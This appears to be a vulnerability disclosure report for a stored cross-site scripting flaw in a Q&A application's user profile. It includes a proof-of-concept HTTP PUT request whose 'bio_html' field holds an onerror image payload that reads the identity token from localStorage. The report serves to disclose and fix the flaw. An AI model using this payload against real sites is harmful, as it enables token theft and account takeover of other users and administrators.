Description

This vulnerability allows a malicious user to submit malicious html code on the profile page, causing the identity token to be stolen as soon as another user/administrator accesses the profile page, resulting in the account being taken over by someone else

Proof of Concept

step1. Log in to a user account
step2. Send the following http request message to modify personal information

PUT /answer/api/v1/user/info HTTP/1.1
Host: localhost:9080
Authorization: 5f61e241-91a4-11ed-a458-0242ac110002
Content-Type: application/json
Content-Length: 264


{
    "display_name":"xiaoming",
    "username":"xiaoming",
    "avatar":{
        "type":"custom",
        "gravatar":"",
        "custom":"http://localhost:9080/uploads/avatar/4KbtWx52o5Y.png"
    },
    "bio":"",
    "website":"",
    "location":"",
    "bio_html":"<img src=x onerror=alert(localStorage.getItem('_a_lui_')) />"
}

step3. When other users access the user's profile interface, they will be attacked by xss e.g: http://localhost:9080/users/xiaoming

Impact

This vulnerability allows a malicious user to submit malicious html code on the profile page, causing the identity token to be stolen as soon as another user/administrator accesses the profile page, resulting in the account being taken over by someone else